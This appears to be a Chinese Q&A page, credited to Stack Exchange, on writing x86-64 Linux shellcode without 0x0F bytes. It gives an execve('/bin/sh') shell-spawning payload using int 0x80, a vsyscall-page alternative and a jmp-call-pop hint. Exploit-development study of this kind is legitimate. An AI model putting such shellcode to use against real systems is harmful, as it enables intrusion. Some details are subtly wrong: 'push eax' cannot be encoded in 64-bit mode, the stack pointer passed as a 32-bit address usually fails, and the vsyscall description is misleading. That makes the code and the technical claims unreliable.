Linux x86-64下规避0x0F字节 不使用syscall/sysenter的shellcode系统调用方法
无0x0f字节的x86-64 Linux execve系统调用实现方案
Linux x86-64环境下有两种不依赖syscall/sysenter的系统调用触发方式,机器码都不会包含0x0f字节,完全满足shellcode的构造要求:
- 优先选择
int 0x80软中断方案
它的机器码为0xcd 0x80,无0x0f字节,兼容性覆盖几乎所有Linux发行版。x86-64下调用int 0x80时走32位兼容层系统调用逻辑,传参规则为:系统调用号存入eax,参数按顺序存入ebx、ecx、edx、esi、edi、ebp,execve对应的32位系统调用号为11。
构造execve("/bin/sh", NULL, NULL)的示例汇编代码如下:
上述代码编译后的机器码完全不含0x0f字节,长度仅23字节。xor eax, eax push eax ; 压入 "/bin//sh" 字符串 push 0x68732f2f push 0x6e69622f mov ebx, esp ; ebx指向/bin/sh字符串地址 xor ecx, ecx ; argv = NULL xor edx, edx ; envp = NULL mov al, 11 ; 写入execve的32位系统调用号 int 0x80 ; 触发系统调用 - 可选vsyscall页调用方案(仅兼容旧版内核)
未禁用vsyscall机制的旧版Linux内核会在固定地址0xffffffffff600000映射系统调用入口,直接call该地址即可触发系统调用,传参规则和原生64位syscall一致,机器码也不含0x0f字节。但当前多数新发行版默认禁用vsyscall或改为随机地址的vdso,兼容性远低于int 0x80方案,仅特殊场景下使用。
注意:使用
int 0x80方案时,如果传入的参数是64位地址,需要确保地址落在32位地址空间范围内,可通过jmp-call-pop等经典shellcode构造技巧拿到低地址的参数字符串。
内容的提问来源于stack exchange,提问作者Mocanu Gabriel
相关产品推荐
相关产品推荐

